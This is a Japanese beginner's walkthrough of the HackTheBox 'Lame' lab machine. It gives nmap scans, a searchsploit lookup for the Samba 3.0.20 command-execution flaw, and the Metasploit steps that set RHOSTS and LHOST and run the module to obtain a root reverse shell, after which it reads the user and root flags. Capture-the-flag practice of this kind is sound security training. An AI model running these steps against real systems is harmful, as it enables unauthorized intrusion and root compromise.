0.はじめに
hacktheboxのLame攻略方法です。
始めてhacktheboxをやる場合にどんな流れでやるのかを把握するのにいいマシーンだと思います。
1.nmapでポートスキャン
nmapを使用して「どのポートが開いてるのか」と「どのバージョンのサービス」が動いているのかを確認します。
①開いているポートの確認
nmap -sT 10.10.10.3
開いてるポートとして21、22、139、445が検出されたのでより詳細な情報を取得します。
②ポートの詳細を確認
nmap -sC -sV -sT -Pn -p 21,22,139,445 10.10.10.3
注目するのは「445/tcp open netbios-ssn Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)」の部分です。
これは、Sambaの「3.0.20」バージョンが使用されていることを示しています。
このバージョンに脆弱性がないか調査します。
2.脆弱性の調査
kali内のExploit-DB情報において、「Samba 3.0.20」の脆弱性情報がないか調査します。
①Exploit-DBで調査
searchsploit 'Samba 3.0.20'
「Command Execution」の脆弱性が存在するとExploit-DBの調査で判明しました。
3.Metasploitでターゲット機のシェル獲得
ターゲット機には「Samba 3.0.20」によって「Command Execution」の脆弱性があるので、その脆弱性を利用するモジュールをMetasploitから探して利用することで
ターゲット機のシェル獲得を目指します。
①Metasploitの起動
msfconsole -q
②Metasploit内にあるSamba「3.0.20」バージョンのモジュールを調べる
search 'Samba 3.0.20'
1件だけヒットしたので今回はこのモジュールを使用します。
③モジュールの選択
今回は1件のみ検索結果がある状態なので以下のコマンドで指定します。
use 0
④オプション項目の確認
show options
「Required」がyesの項目を設定します。
今回だと以下になります。
項目 | 説明 | デフォルト値 | 設定の必要有無 |
---|---|---|---|
RHOSTS | ターゲット機のIPアドレスを設定 | 設定が必要 | |
RPORT | ターゲット機のポートを設定 | 139 | ー |
LHOST | 自端末のIPアドレスを設定する | 192.168.26.129 | 設定が必要 |
LPORT | 自端末のポートを設定 | 4444 | ー |
⑤オプション項目の設定
設定が必要なRHOSTS、LHOSTを設定します。
まだ、LHOSTについて確認出来ていないのでまずは別のターミナルを開いて以下のコマンドで確認します。
ifconfig
「tun0」のinetの結果から「10.10.16.8」が自端末のIPアドレスであることがわかります。
では、必要な情報が揃ったので元のターミナルに戻ってオプション項目を設定します。
set rhosts 10.10.10.3
set lhost 10.10.16.8
設定後に反映されていることを確認します。
show options
RHOSTS、LHOSTに指定した値が入っていればOKです。
⑥モジュールの実行
run
画像のようにコマンド入力可能な状態になれば成功です。
このままだと見づらいので以下のコマンドでユーザ名やカレントディレクトリが表示されるようにします。
script /dev/null -c bash
4.Metasploitでターゲット機のシェル獲得後の調査
シェル獲得まで成功したので、ユーザフラグとrootフラグの獲得を目指します。
①獲得したシェルのユーザを確認
whoami
id
rootユーザのシェルであることがわかりました。
②ユーザフラグの獲得
一般的にユーザフラグは/home/xxx/user.txtの場所にあるので調べてみます
cd /home
ls -l
cd makis
ls -l
cat user.txt
③rootフラグの取得
一般的にrootフラグは/root/root.txtの場所にあるので調べてみます
cd /root
ls -l
cat root.txt
④獲得したシェルの切断
調査完了後にシェルの切断をするには以下のように「exit」赤枠箇所で入力します。
5.おわりに
始めてhacktheboxをやる人にもわかりやすいようにをイメージして書きました